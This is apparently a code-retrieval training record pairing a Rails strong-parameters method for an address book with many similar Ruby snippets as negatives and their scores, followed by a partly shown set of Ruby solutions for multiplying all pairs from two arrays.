callback(:setup) do\n notify(:setup)\n migration_check.last_deployed_commit\n end\n end", "def setup\n return unless @setup\n\n actions = @setup['setup'].select { |action| action['do'] }.map { |action| Action.new(action['do']) }\n run_actions_and_retry(actions)\n self\n end", "def before_setup\n # do nothing by default\n end", "def my_actions(options)\n @setup = false\n get_template_part(\"custom_used\",\"action_users\",true)\n end", "def default_action; end", "def setup(&blk)\n @setup_block = blk\n end", "def callback_phase\n super\n end", "def advice\n end", "def _handle_action_missing(*args); end", "def duas1(action)\n action.call\n action.call\nend", "def shared_action(name, &block)\n @controller.shared_actions[name] = block\n end", "def before_action action, &block\n @audience[:before][action] ||= Set.new\n @audience[:before][action] << block\n end", "def setup_initial_state\n\n state_a = State.new(\"a\", 0)\n state_b = State.new(\"b\", 0)\n state_c = State.new(\"c\", 10)\n\n move_to_b = Action.new(\"move_to_b\", 1, state_b)\n\n move_to_c = Action.new(\"move_to_c\", 1, state_c)\n\n state_a.actions = [move_to_b, move_to_c]\n\n return state_a\n \nend" ]
[ "0.6163163", "0.6045976", "0.5946146", "0.591683", "0.5890051", "0.58349305", "0.5776858", "0.5703237", "0.5703237", "0.5652805", "0.5621621", "0.54210985", "0.5411113", "0.5411113", "0.5411113", "0.5391541", "0.53794575", "0.5357573", "0.53402257", "0.53394014", "0.53321576", "0.53124547", "0.529654", "0.5296262", "0.52952296", "0.52600986", "0.52442724", "0.52385926", "0.52385926", "0.52385926", "0.52385926", "0.52385926", "0.5232394", "0.523231", "0.5227454", "0.52226824", "0.52201617", "0.5212327", "0.52079266", "0.52050185", "0.51754695", "0.51726824", "0.51710224", "0.5166172", "0.5159343", "0.51578903", "0.51522785", "0.5152022", "0.51518047", "0.51456624", "0.51398855", "0.5133759", "0.5112076", "0.5111866", "0.5111866", "0.5110294", "0.5106169", "0.509231", "0.50873137", "0.5081088", "0.508059", "0.50677156", "0.50562143", "0.5050554", "0.50474834", "0.50474834", "0.5036181", "0.5026331", "0.5022976", "0.5015441", "0.50121695", "0.5000944", "0.5000019", "0.4996878", "0.4989888", "0.4989888", "0.49864885", "0.49797225", "0.49785787", "0.4976161", "0.49683493", "0.4965126", "0.4958034", "0.49559742", "0.4954353", "0.49535993", "0.4952725", "0.49467874", "0.49423352", "0.49325448", "0.49282882", "0.49269363", "0.49269104", "0.49252945", "0.4923091", "0.49194667", "0.49174926", "0.49173003", "0.49171105", "0.4915879", "0.49155936" ]
0.0
-1
Never trust parameters from the scary internet, only allow the white list through.
def address_book_params params.require(:address_book).permit(:contact_fname, :contact_lname, :email, :phone, :address, :city, :state, :zip,:auth) end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def strong_params\n params.require(:user).permit(param_whitelist)\n end", "def strong_params\n params.require(:listing_member).permit(param_whitelist)\n end", "def allow_params_authentication!; end", "def allowed_params\n ALLOWED_PARAMS\n end", "def default_param_whitelist\n [\"mode\"]\n end", "def param_whitelist\n [:role, :title]\n end", "def expected_permitted_parameter_names; end", "def safe_params\n params.except(:host, :port, :protocol).permit!\n end", "def strong_params\n params.require(:team_member).permit(param_whitelist)\n end", "def permitir_parametros\n \t\tparams.permit!\n \tend", "def strong_params\n params.require(:community).permit(param_whitelist)\n end", "def permitted_strong_parameters\n :all #or an array of parameters, example: [:name, :email]\n end", "def strong_params\n params.require(:education).permit(param_whitelist)\n end", "def restricted_params\n #params.require(self.controller_name.classify.underscore.to_sym).permit([])\n raise(\"No strong params set, override restricted_params method in your controller. E.g. params.require(:model).permit(:attribute1, :attribute2)\")\n end", "def allowed_params\n params.require(:user).permit(:username, :email, :password, :password_confirmation)\n end", "def param_whitelist\n [:rating, :review]\n end", "def param_whitelist\n whitelist = [\n :username, :name,\n :parent_id,\n :headline, :description, :video,\n :policy, :signup_mode, :category,\n :website, :facebook, :twitter, :linkedin,\n :founded_at,\n privacy: [\n :events,\n :resources\n ],\n permission: [\n :profile,\n :members,\n :children,\n :statistics,\n :posts,\n :listings,\n :resources,\n :events\n ],\n location: [\n :description,\n :street,\n :city,\n :state,\n :zip,\n :country,\n :latitude,\n :longitude\n ]\n ]\n \n if action_name === 'update'\n whitelist.delete(:parent_id)\n unless current_user.role_in(@community) === 'owner'\n whitelist.delete(:privacy)\n whitelist.delete(:permission)\n end\n end\n \n whitelist\n end", "def param_whitelist\n if @user.present? && current_user != @user\n return [:followed]\n end\n \n whitelist = [\n :username, :email, :password,\n :first_name, :last_name,\n :birthday, :gender,\n :headline, :biography, :ask_about, :focus,\n :website, :facebook, :linkedin, :twitter, :github,\n roles: [],\n skills: [],\n interests: [],\n privacy: { contact: [] },\n location: [\n :description,\n :street,\n :city,\n :state,\n :zip,\n :country,\n :latitude,\n :longitude\n ]\n ]\n \n if action_name === 'update'\n whitelist.delete(:email)\n whitelist.delete(:password)\n end\n \n whitelist\n end", "def valid_params_request?; end", "def user_params \n \tparams.require(:user).permit(:name, :email, :password, :password_confirmation)# preventing CSTR\n end", "def strong_params\n params.require(:experience).permit(param_whitelist)\n end", "def user_params\n params.permit(:name, :phoneNumber, :address, :postalCode, :local, :link, :counter, :latitude, :longitude) \n end", "def trim_whitelisted(params, whitelist)\n # remove any parameters that are not whitelisted\n params.each do |key, value|\n # if white listed\n if whitelist.include? key\n # strip the parameters of any extra spaces, save as string\n params[key] = value.to_s.strip\n else\n # delete any unauthorized parameters\n params.delete key\n end\n end\n params\n end", "def whitelist_url_params\n params.require(:whitelist_url).permit(:domain)\n end", "def allowed_params\n params.require(:allowed).permit(:email)\n end", "def permitted_params\n []\n end", "def trim_whitelisted(params, whitelist)\n # remove any parameters that are not whitelisted\n params.each do |key, value|\n # if white listed\n if whitelist.include? key\n # strip the parameters of any extra spaces, save as string\n params[key] = value.to_s.strip\n else\n # delete any unauthorized parameters\n params.delete key\n end\n end\n params\n end", "def safe_params\n params.permit(:id, :name, :origin, :emails => []); #emails is an array\n end", "def query_param\n\t\tparams.permit(:first_name, :last_name, :phone)\n\tend", "def strong_params\n params.require(:success_metric).permit(param_whitelist)\n end", "def devise_filter\r\n logger.debug(\"In devise_filter =>PARAMS: #{params.inspect}\")\r\n\r\n # White list for sign_up\r\n devise_parameter_sanitizer.for(:sign_up) { |u| u.permit(user_whitelist) }\r\n\r\n # White list for account update\r\n devise_parameter_sanitizer.for(:account_update) { |u| u.permit(user_whitelist, :current_password) }\r\n\r\n # White list for Invitation creation\r\n devise_parameter_sanitizer.for(:invite) { |u| u.permit(:account_type, :email, :invitation_token)}\r\n\r\n # White list for accept invitation\r\n devise_parameter_sanitizer.for(:accept_invitation) { |u| u.permit(user_whitelist, :invitation_token)}\r\n\r\n end", "def whitelisted_user_params\n params.require(:user).\n permit( :first_name, :last_name, :email,:password,:password_confirmation,:birthday,:gender)\n end", "def user_params\n ActionController::Parameters.permit_all_parameters = true\n params.require(:user) #.permit(:name, :surname, :phone, :password, :email, :time_zone)\n end", "def strong_params\n params.require(:metric_change).permit(param_whitelist)\n end", "def safe_params\n params.require(:user).permit(:name)\n end", "def get_params\n\t\treturn ActionController::Parameters.new(self.attributes).permit(\"account_id\", \"title\", \"category\", \"introduction\", \"tags\", \"segment_type\", \"visible\", \"status\", \"main_image\")\n\tend", "def grant_params\n @whitelisted = params.require(:grant).permit(:name, :description, :agency_id, :acronym)\n end", "def check_params; true; end", "def param_whitelist\n whitelist = [\n :description,\n :progress,\n :kpi_id\n ]\n \n unless action_name === 'create'\n whitelist.delete(:kpi_id)\n end\n \n whitelist\n end", "def quote_params\n params.permit!\n end", "def valid_params?; end", "def paramunold_params\n params.require(:paramunold).permit!\n end", "def user_params\n\t\tparams.permit(:nickname, :avatar, :description, :password, :gender, :birthday, :email, :phone, :qq_id, :wechat_id)\n\tend", "def filtered_parameters; end", "def user_params\n params.permit(\n \t:id,\n \t:email, \n \t:first_name, \n \t:last_name, \n \t:password, \n \t:confirm_token, \n \t:phone_number,\n \t:facebook_link,\n \t:car_model,\n \t:license_plate)\n end", "def filtering_params\n params.permit(:email, :name)\n end", "def check_params\n true\n end", "def wx_public_params\n params.require(:wx_public).permit(:nickname, :manager, :alias)\n end", "def allowed_params\n params.require(:user).permit(:email, :password, :role, :first_name, :last_name, :password_confirmation)\n end", "def allowed_params\n params.require(:user).permit(:email, :password, :role, :first_name, :last_name, :password_confirmation)\n end", "def listing_params\n\t\tparams.permit(:address, :transit_info, :rules, :other_info, :lat, :lng)\n\tend", "def social_account_params\n\t\t\tparams.require(:social_account).permit!\n\t\tend", "def safe_params\n resurce_name = self.class.resource_name\n params_method_name = \"#{resurce_name}_params\".to_sym\n if params[resurce_name]\n if respond_to?(params_method_name) || private_methods.include?(params_method_name)\n send(params_method_name)\n else\n raise ActiveModel::ForbiddenAttributesError, \"Please, define the '#{params_method_name}' method in #{self.class.name}\"\n end\n end\n end", "def user_params\n params.require(:user).permit(:uri, :username, :password, :realname, :email, :publicvisible)\n end", "def model_params\n\t\tparams.require(:manager).permit(\n\t :user_name,\n :password,\n :email,\n \t\t\t)\n\tend", "def url_params\n params.require(:url).permit(:short_url, :original_url, :clicks, :ip_addresses)\n end", "def article_params_whitelist\n params.require(:article).permit(:title, :description, category_ids: [])\n end", "def college_whitelist_params\n params.require(:college_whitelist).permit(:status)\n end", "def active_code_params\n params[:active_code].permit\n end", "def filtering_params\n params.permit(:email)\n end", "def valid_params(params)\n params.permit(:user_id, :photo_id, :originX, :originY, :width, :height)\n end", "def ip_address_params\n\t\t\tparams.require(:ip_address).permit!\n end", "def pull_request_params\n whitelist = [\n :url,\n :id,\n :html_url,\n :diff_url,\n :patch_url,\n :issue_url,\n :number,\n :state,\n :locked,\n :title\n ]\n params.require(:pull_request).permit(whitelist)\n end", "def reserved_params\n params.require(:reserved).permit(:name, :email, :pax, :address, :KTP, :title)\n end", "def post_params\n if current_user.admin? \n params.permit(:title, :body, :city, :country, :gps_location, :privacy, :visible, :latitude, :longitude, images: [], files: [])\n else \n params.permit(:title, :body, :city, :country, :gps_location, :privacy,:latitude, :longitude, images: [], files: [])\n end \n end", "def list_params\n params.permit(:name)\n end", "def filter_parameters; end", "def filter_parameters; end", "def vineyard_params\n params.permit(:vineyard_name, :email, :website_url, :phone, :address, :city, :region, :postcode, :country, :specialty, :description, :pet_friendly, :holiday, :tours, :events, :family_friendly, :cover_image, :image_one, :image_two, :image_three, :image_four, :user_id, :base64)\n end", "def available_activity_params\n # params.require(:available_activity).permit(:type,:geometry,:properties)\n whitelisted = ActionController::Parameters.new({\n type: params.require(:available_activity)[:type],\n geometry: params.require(:available_activity)[:geometry].try(:permit!).to_h,\n properties: params.require(:available_activity)[:properties].try(:permit!).to_h\n }).try(:permit!)\n end", "def user_params\n params.permit(:name, :username, :email, :password, :img_url, :bg_url, :coinbank)\n end", "def user_params_pub\n\t \tparams[:user].permit(:hruid)\n\t end", "def user_params\n params.permit(:id, :email, :password, :nickname, :status, :avatar, :flat_picture, :flatsharing_id, :member,\n :user, :color, :solde)\n end", "def url_whitelist; end", "def validate_search_inputs\n @whitelisted = params.fetch(:user, nil)\n if @whitelisted.blank?\n render_error(400, \"#{I18n.t('general_error.params_missing_key')}\": [I18n.t('general_error.params_missing_value', model: \"review\")])\n return\n else\n @whitelisted = @whitelisted.permit(:name, :uen, :description)\n end\n end", "def param_whitelist\n [\n :title,\n :description,\n :organization,\n :team_id,\n :started_at,\n :finished_at,\n location: [\n :description,\n :street,\n :city,\n :state,\n :zip,\n :country,\n :latitude,\n :longitude\n ]\n ]\n end", "def admin_social_network_params\n params.require(:social_network).permit!\n end", "def filter_params\n params.require(:filters).permit(:letters)\n end", "def valid_params(params)\n params.permit(:login, :first_name, :last_name, \n :password, :password_confirmation)\n end", "def sensitive_params=(params)\n @sensitive_params = params\n end", "def origin_params\n params.permit(:country, :state, :city, :postal_code, :address, :description)\n end", "def permit_request_params\n params.permit(:address)\n end", "def user_params\n # Ensure a user can't give themselves admin priveleges\n params.delete(:admin) if current_user.admin?\n params.require(:user).permit(:name, :email, :admin, :image)\n end", "def secure_params\n params.require(:location).permit(:name)\n end", "def strong_params\n params.require( :setting ).\n permit( :global_scan_limit, :per_user_scan_limit,\n :target_whitelist_patterns, :target_blacklist_patterns )\n end", "def question_params\n params.require(:survey_question).permit(question_whitelist)\n end", "def case_insensitive_params\n params.require(:case_insensitive).permit(:name)\n end", "def maintenance_request_params\n params[:maintenance_request].permit! #allow all parameters for now\n end", "def empire_master_no_match_params\n params.require(:empire_master_no_match).permit(:uid, :last_name, :list, :search_date, :double, :source)\n end", "def backend_user_params\n params.permit!\n end", "def url_params\n params[:url].permit(:full)\n end", "def unwanted_params\n params.require(:unwanted).permit(:title, :description, :image)\n end", "def filter_params\n\t\treturn params[:candidate].permit(:name_for_filter)\n\tend", "def speed_measurement_params\n\n #fuckit, to lazy to deal with permit crap right now\n ActionController::Parameters.permit_all_parameters = true\n\n params[:speed_measurement]\n end", "def user_params\n params.permit(:name, :age, :username, :display_photo, :password)\n end", "def get_params\r\n #params.require(:article).permit(:title, :permalink, :content, :source_site, :introtext, :type_id, :order_by, :searchable, :created_by, :edited_by, :published_by, :published_on, :user_id)\r\n params.require(:article).permit!\r\n\r\n end", "def pub_params\n params.require(:pub).permit(:name, :description, :phone, :email, :hidden, :city_id, :address)\n end", "def pass_params\n params[:pass].permit(:name, :price, :description, :colour, :events)\n end", "def droptraining_params\n params.permit(:training_id,:user_id, :utf8, :authenticity_token, :commit)\n end", "def person_params\n # params whitelist does *not* include admin, sub, remember_token\n # TBD: share this whitelist with the list used by configuration_permitted_parameters\n # TBD: should current_password be on this list? -- for now, leaving off, since it seems to work without\n # NOTE: do not include 'admin' in this list!\n params.require(:person).permit(\n :name, \n :email, \n :description,\n :password, \n :password_confirmation\n )\n end", "def parameter_params\n params.require(:parameter).permit(:name, :description, :param_code, :param_value, :active_from, :active_to)\n end" ]
[ "0.6981537", "0.67835593", "0.6748275", "0.67436063", "0.6736311", "0.65937173", "0.6503359", "0.6498499", "0.6482832", "0.6478776", "0.645703", "0.6439998", "0.63802195", "0.6377008", "0.6366287", "0.632018", "0.63016284", "0.63011277", "0.62932974", "0.62919617", "0.62905645", "0.6289235", "0.6283876", "0.62425834", "0.62410337", "0.6218672", "0.62151134", "0.62096137", "0.6192354", "0.6178057", "0.6177618", "0.61727077", "0.6162073", "0.6152049", "0.61515594", "0.61458135", "0.6122875", "0.61165285", "0.6107696", "0.6104097", "0.6091097", "0.6080201", "0.60699946", "0.6063739", "0.60206395", "0.60169303", "0.60134894", "0.601003", "0.6007347", "0.6007347", "0.6001054", "0.59997267", "0.5997844", "0.5991826", "0.5991213", "0.59911627", "0.5980111", "0.5967009", "0.59597385", "0.5958542", "0.595787", "0.5957425", "0.59522784", "0.5951228", "0.59423685", "0.5939385", "0.5939122", "0.5939122", "0.59325653", "0.5930178", "0.59248054", "0.59243476", "0.59164625", "0.59106", "0.59101933", "0.59084356", "0.5905666", "0.58975077", "0.58974737", "0.5895128", "0.58946574", "0.589308", "0.58916", "0.5885987", "0.58838505", "0.58792", "0.58723736", "0.58684355", "0.58677715", "0.5865701", "0.5865538", "0.5865288", "0.586385", "0.5862139", "0.58614355", "0.58593005", "0.5857459", "0.58541363", "0.58536613", "0.58520085", "0.585011" ]
0.0
-1
a list of numbers, and returns a new Array that contains the product of every pair of numbers that can be formed between the elements of the two Arrays. The results should be sorted by increasing value. You may assume that neither argument is an empty Array.
def multiply_all_pairs(numbers1, numbers2) products = [] numbers1.each do |num1| numbers2.each { |num2| products << num1 * num2 } end products.sort end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def multiply_all_pairs(num_arr1, num_arr2)\n product_arr = []\n\n num_arr1.each do |x|\n num_arr2.each do |y|\n product_arr << x * y\n end\n end\n product_arr.sort\nend", "def multiply_all_pairs(array1, array2)\n products = []\n array1.each do |num1|\n array2.each do |num2|\n products << num1 * num2\n end\n end\n products.sort\nend", "def multiply_all_pairs(arr1, arr2)\n\tproducts = []\n\n\tarr1.each do |num1|\n\t\tarr2.each do |num2|\n\t\tproducts << num1 * num2\n\t\tend\n\tend\n\tproducts.sort\nend", "def multiply_all_pairs(arr1, arr2)\n result = []\n arr1.each { |num1| arr2.each { |num2| result << num1 * num2}}\n result.sort\nend", "def multiply_all_pairs(first_arr, second_arr)\n result = []\n first_arr.each do |item|\n second_arr.each { |multiplyer| result << item * multiplyer }\n end\n result.sort\nend", "def multiply_all_pairs(arr1, arr2)\n arr1.product(arr2).map {|combined_array| combined_array.inject(:*)}.sort\nend", "def multiply_all_pairs(array_1, array_2)\n array_1.product(array_2).map { |num1, num2| num1 * num2 }.sort\nend", "def multiply_all_pairs(array_1, array_2)\n array_1.product(array_2).map { |num1, num2| num1 * num2 }.sort\nend", "def multiply_all_pairs(array_1, array_2)\n array_1.product(array_2).map { |num1, num2| num1 * num2 }.sort\nend", "def multiply_all_pairs(array_1, array_2)\n array_1.product(array_2).map { |num1, num2| num1 * num2 }.sort\nend", "def multiply_all_pairs(array_1, array_2)\n result = []\n\n array_1.each do |current_number_array_1|\n array_2.each do |current_number_array_2|\n result << current_number_array_1 * current_number_array_2\n end\n end\n\n result.sort\nend", "def multiply_all_pairs(arr_1, arr_2)\n arr_1.product(arr_2).map { |arr| arr.reduce(&:*) }.sort\nend", "def multiply_all_pairs(arr1, arr2)\n result = []\n arr1.each do |num1|\n arr2.each { |num2| result << num1 * num2 }\n end\n result.sort\nend", "def multiply_all_pairs(array1, array2)\n result = []\n\n array1.each do |num|\n array2.each do |num2|\n result << num2 * num\n end\n end\n result.sort\nend", "def multiply_all_pairs(arr1, arr2)\n final = []\n arr1.each do |n1|\n arr2.each do |n2|\n final << n1 * n2\n end\n end\n final.sort\nend", "def multiply_all_pairs(array1, array2)\n array1.product(array2).map { |num1, num2| num1 * num2 }.sort\nend", "def multiply_all_pairs(arr1, arr2)\n p arr1.product(arr2).map { |num1, num2| num1 * num2 }.sort\nend", "def multiply_all_pairs(arr1, arr2)\n products = []\n arr1.each do |arr1_num|\n arr2.each do |arr2_num|\n products << arr1_num * arr2_num\n end\n end\n products.sort\nend", "def multiply_all_pairs(array1, array2)\r\n result = []\r\n\r\n product =\r\n array1.each do |element|\r\n array2.each do |element2|\r\n result << element * element2\r\n end\r\n end\r\n\r\n result.sort\r\nend", "def multiply_all_pairs(arr1, arr2)\n arr1.product(arr2).map { |sub_arr| sub_arr.reduce(:*) }.sort\nend", "def multiply_all_pairs(arr1, arr2)\n arr1.product(arr2).map { |sub_arr| sub_arr.reduce(:*) }.sort\nend", "def multiply_all_pairs(nums1, nums2)\n products = []\n nums1.each do |num1|\n nums2.each do |num2|\n products << num1 * num2\n end\n end\n products.sort\nend", "def multiply_all_pairs(array_1, array_2)\n results = []\n\n array_1.each do |arr_1_num|\n array_2.each {|arr_2_num| results << (arr_1_num * arr_2_num)}\n end\n results.sort\nend", "def multiply_all_pairs(array1, array2)\n # using 2 loops\n # products = []\n # array_1.each do |item_1|\n # array_2.each do |item_2|\n # products << item_1 * item_2\n # end\n # end\n # products.sort\n array1.product(array2).map { |subarray| subarray.reduce(:*) }.sort\nend", "def multiply_all_pairs(array1, array2)\n array1.product(array2).map { |subarray| subarray.inject(:*) }.sort\nend", "def multiply_all_pairs(arr1, arr2)\n product = []\n count = 0\n\n until count == arr1.size\n arr2.each do |item|\n product << arr1[count] * item\n end\n count +=1\n end\n product.sort\nend", "def multiply_all_pairs(arr1, arr2)\n result_array = []\n arr1.each do |num1|\n arr2.each do |num2|\n result_array << num1 * num2\n end\n end\n result_array.sort\nend", "def multiply_all_pairs(array_1, array_2)\n array_1.product(array_2).map {|item_1, item_2| item_1 * item_2 }.sort\nend", "def multiply_all_pairs(array_1, array_2)\n products = []\n array_1.each do |item_1|\n array_2.each do |item_2|\n products << item_1 * item_2\n end\n end\n products.sort\nend", "def multiply_all_pairs2(arr1, arr2)\n arr1.product(arr2).map { |a, b| a * b }.sort\nend", "def multiply_all_pairs(array1, array2)\n products = []\n array1.each do |item1|\n array2.each do |item2|\n products << item1 * item2\n end\n end\n products.sort\nend", "def multiply_all_pairs(arr1, arr2)\n arr1.map { |num1| arr2.map { |num2| num1 * num2 } }.flatten.sort\nend", "def multiply_all_pairs(arr1, arr2)\n arr1.map do |num1| \n arr2.map { |num2| num1 * num2 }\n end.flatten.sort\nend", "def multiply_all_pairs(array1, array2)\n array1.product(array2).map { |x,y| x * y }.sort\nend", "def multiply_all_pairs(arr1, arr2)\r\n new_arr = []\r\n arr1.each do |x|\r\n arr2.each do |y|\r\n new_arr << x * y\r\n end\r\n end\r\n new_arr.sort\r\nend", "def multiply_all_pairs(array1, array2)\n new_array = []\n array1.each do |x|\n array2.each do |y|\n new_array << x * y\n end\n end\n new_array.sort\nend", "def multiply_all_pairs(arr1, arr2)\n\n new_arr = []\n\n arr1.each do |first|\n arr2.each do |second|\n new_arr << first * second\n end\n end\n new_arr.sort\nend", "def multiply_all_pairs(array1, array2)\n new_array = []\n array1.each do |value_1|\n array2.each do |value_2|\n new_array << value_1 * value_2\n end\n end\n new_array.sort\nend", "def multiply_all_pairs(arry1, arry2)\n arry3 = arry1.product(arry2)\n\n arry3.map do |arr|\n arr.reduce(:*)\n end.sort\nend", "def multiply_all_pairs(arr1, arr2)\n result_arr = arr1.map do |element1|\n arr2.map do |element2|\n element1 * element2\n end\n end\n result_arr.flatten.sort\nend", "def multiply_all_pairs(array1, array2)\n pairs = []\n array1.each do |element1|\n array2.each do |element2|\n pairs << [element1, element2]\n end\n end\n \n pairs.map { |(element1, element2)| element1 * element2 }.sort\nend", "def multiply_all_pairs(arr1, arr2)\n output = arr1.each_with_object([]) do |int, arr|\n arr2.each do |int2|\n arr << int * int2\n end\n end\n output.sort\nend", "def multiply_all_pairs(array1, array2)\n all_multiples = []\n\n array1.each do |arry1_el|\n array2.each do |arry2_el|\n all_multiples << arry2_el * arry1_el\n end\n end\n\n all_multiples.sort\nend", "def multiply_all_pairs(a1, a2)\n product_array = []\n a1.each do |a1_elem|\n a2.each do |a2_elem|\n product_array << a1_elem * a2_elem\n end\n end\n product_array.sort\nend", "def multiply_all_pairs(list1, list2)\n list1.product(list2).map { |num1, num2| num1 * num2 }.sort\nend", "def pair_product(arr, num) \n\nend", "def sum_combinations(first_array, second_array)\n new_array = []\n first_array.each do |first_number|\n second_array.each do |second_number|\n new_array << first_number + second_number\n end\n end\n new_array\nend", "def multiply_list(arr1, arr2)\n arr1.zip(arr2).map { |pair| pair.reduce(:*) }.flatten\nend", "def multiply_list(numbers1, numbers2)\n products = []\n numbers1.each_with_index do |num, ind|\n products << num * numbers2[ind]\n end\n products\nend", "def multiply_list(arr1, arr2)\n products_arr = []\n idx = 0\n until idx >= arr1.length\n products_arr << arr1[idx] * arr2[idx]\n idx += 1\n end\n products_arr\nend", "def calculate_products_of_all_other_elements(nums)\n product_of_other_elements = Array.new(nums.count, 1)\n\n nums.count.times do |i|\n nums.count.times do |j|\n next if i == j\n\n product_of_other_elements[i] = product_of_other_elements[i] * nums[j]\n end\n end\n\n product_of_other_elements\nend", "def multiply_list(arr1, arr2)\n arr1.zip(arr2).map { |arr| arr.inject(:*) }\nend", "def multiply_list(arr1, arr2)\n result = []\n arr1.each_with_index { |num, idx| result << num * arr2[idx] }\n result\nend", "def combinations(arr_one, arr_two)\n arr_join = []\n arr_one.each do |x|\n arr_two.each do |y|\n arr_join.push(x + y)\n end\n end\n print arr_join\nend", "def multiply_list(array_1, array_2)\n results = []\n array_1.each_with_index {|num,idx| results << (num * array_2[idx])}\n results\nend", "def multiply_list(arr1, arr2)\n [arr1, arr2].transpose.map do |pair|\n pair.reduce(:*)\n end\nend", "def multiply_list(arr1, arr2)\n products = []\n counter = 0\n\n loop do\n products << (arr1[counter] * arr2[counter])\n\n counter += 1\n break if counter == arr1.length\n end\n\n products\nend", "def multiply_list(arr1, arr2)\n arr1.zip(arr2).map{|sub_arr| sub_arr.inject(:*)}\nend", "def multiply_lists(arr1, arr2)\n result = []\n index = 0\n loop do \n result << arr1[index]*arr2[index]\n index += 1\n break if index == arr1.size\n end \n result\nend", "def multiply_list(arr1, arr2)\n result = []\n\n arr1.each_with_index { |_, index| result << (arr1[index] * arr2[index]) }\n\n result\nend", "def sum_combinations(numbers1, numbers2)\n result = []\n numbers1.each do |number1|\n numbers2.each do |number2|\n result << number1 + number2\n end\n end\n result\nend", "def sum_combinations(numbers1, numbers2)\n result = []\n numbers1.each do |number1|\n numbers2.each do |number2|\n result << number1 + number2\n end\n end\n result\nend", "def multiply_all_pairs(first, second)\n\n muliplicants = []\n\n first.each do |f|\n second.each do |s|\n muliplicants << f * s\n end\n end\n\n muliplicants.sort\nend", "def pairwise_product(other)\n result = []\n each_index {|i| result << self[i]*other[i] }\n return result\n end", "def multiply_list(array1, array2)\n array1.zip(array2).map { |subarr| subarr.reduce(:*) }\nend", "def multiply_list(array_1, array_2)\n result = []\n\n array_1.each_with_index do |num, index|\n result << num * array_2[index]\n end\n result\nend", "def products_except_me(numbers)\n numbers.map.with_index do |num, idx|\n sub_arr = numbers[0...idx] + numbers[idx + 1..-1]\n sub_arr.reduce(:*)\n end\nend", "def multiply_list(arr1, arr2)\n # arr = []\n # arr1.each_with_index { |elem, i| arr << elem * arr2[i] }\n # arr\n arr1.zip(arr2).map { |sub_arr| sub_arr.reduce(:*) }\nend", "def multiply_list(array1, array2)\n result = []\n array1.each_index { |index| result << array1[index] * array2[index]}\n result\nend", "def multiply_list(array1, array2)\n result = []\n array1.each_with_index do |num, index|\n result.push(num * array2[index])\n end\n \nresult\n \n \n \nend", "def products_of_all_other_nums(array)\n\n\tresult = Array.new() { [] }", "def multiply_list(array1, array2)\n results = []\n n = 0\n\n array1.size.times do |num|\n results << array1[n]*array2[n]\n n += 1\n end\n\n results\nend", "def pair_up(arr, target_product)\n end", "def multiply_list(arr1, arr2)\n arr1.zip(arr2).map {|a, b| a * b }\nend", "def multiply_list(arr1, arr2)\n arr1.zip(arr2).map {|a, b| a * b }\nend", "def products_except_me(numbers)\n numbers.map.with_index do |num,idx|\n sub_array=numbers[0...idx] + numbers[idx+1..-1]\n array_product(sub_array)\n end\nend", "def integer_products integers\n\t# use each with index to loop through integers and find product of all other integers\n\t# better solution:\n\t# create an array that corresponds to the product of each integer before each index, and an array of the product of each integer after each index\n\tproduct_so_far = 1\n\tproducts_before_index = []\n\tintegers.each_with_index do |int, index|\n\t\tproducts_before_index[index] = product_so_far\n\t\tproduct_so_far*= integers[index]\n\tend\n\n\tproducts_after_index = []\n\tproduct_so_far = 1\n\ti = integers.length - 1\n\twhile i >= 0\n\t\tproducts_after_index[i] = product_so_far\n\t\tproduct_so_far*= integers[i]\n\t\ti-= 1\n\tend\n\n\treturn [products_before_index, products_after_index]\n\nend", "def multiply_list(arr1, arr2)\n new_array = []\n index = 0\n while index < arr1.size\n new_array << arr1[index] * arr2[index]\n index += 1\n end\n new_array\nend", "def multiply_list(arr1, arr2)\n new_array = []\n index = 0\n while index < arr1.size\n new_array << arr1[index] * arr2[index]\n index += 1\n end\n new_array\nend", "def multiply_list(arr1, arr2)\n results = []\n arr1.each_with_index do |item, index|\n results << item * arr2[index]\n end\n results\nend", "def multi_pol(a, b, n)\n\tproduct = Array.new(2*n -1) {0}\n\n\tfor i in 0...n\n\t\tfor j in 0...n\n\t\t\tproduct[i+j] = product[i+j] + a[i] * b[j]\n\t\tend\n\tend\n\n\tproduct\nend", "def multiply_all_pairs(array1, array2)\n pairs_nested_array = []\n\n array1.each do |num1|\n array2.each do |num2|\n pairs_nested_array << [num1, num2]\n end\n end\n pairs_nested_array.map! do |num1, num2|\n num1 * num2\n end\npairs_nested_array.sort { |num1, num2| num1 <=> num2}\nend", "def products_except_me(numbers)\n\n result = []\n numbers.each_index do |i|\n subarr = numbers[0...i] + numbers[i+1..-1]\n result << subarr.reduce(:*)\n\n end\n result\nend", "def multiply_list(array1, array2)\n new_array = []\n array1.count.times do \n new_array << (array1.pop) * (array2.pop)\n end\n new_array.reverse\nend", "def multiply_list(array_1, array_2)\n result = []\n array_1.size.times do |index|\n result << array_1[index] * array_2[index]\n end\n result\nend", "def multiply_list(arr1, arr2)\n\n new_arr = []\n counter = 0\n \n loop do \n new_arr << arr1[counter] * arr2[counter]\n counter += 1\n break if counter == arr1.size\n end\n\n new_arr\nend", "def multiply_list_zip(array1,array2)\n array1.zip(array2).map {|element| element.reduce(:*)}\n # array 1's element would be spread out into three arrays, 3,5 and 7 being the first elements. Zip then iterates through the argument\n # and mergers these elements into array1 one by one. The documentation then states if a block is given it invoked for EACH ARRAY, so in this case\n # the combined arrays we have now created.\nend", "def multiply_list(array1, array2)\n # c = []\n array1.zip(array2).map {|x, y| x * y}\n # c\nend", "def multiply_list2(arr1, arr2)\n arr1.zip(arr2).map { |a, b| a * b }\nend", "def get_other_products(nums)\n nums_copy = nums.dup\n other_products = Array.new(nums.length)\n\n nums.each_with_index do | num, curr_idx |\n nums_copy.delete_at(curr_idx)\n other_products[curr_idx] = nums_copy.reduce(:*)\n nums_copy = nums.dup\n end\n return other_products\nend", "def multiply_list(array1, array2)\n product_array = []\n i = 0\n loop do\n break unless array1[i]\n productarray << array1[i] * array2[i]\n i += 1\n end\n product_array\nend", "def multiply_list(arr1, arr2)\r\nresult = []\r\ncounter = 0\r\n\r\narr1.length.times do |num|\r\n result << arr1[counter] * arr2[counter]\r\n counter += 1\r\nend\r\np result\r\nend", "def pair_product(numbers, product)\n (0...numbers.length).each do |i|\n (i+1...numbers.length).each do |j|\n return true if numbers[i] * numbers[j] == product\n end\n end\n false\nend", "def multiply_list(arr1, arr2)\n count = 0\n mult_arr = []\n\n until count == arr1.size\n mult_arr << arr1[count] * 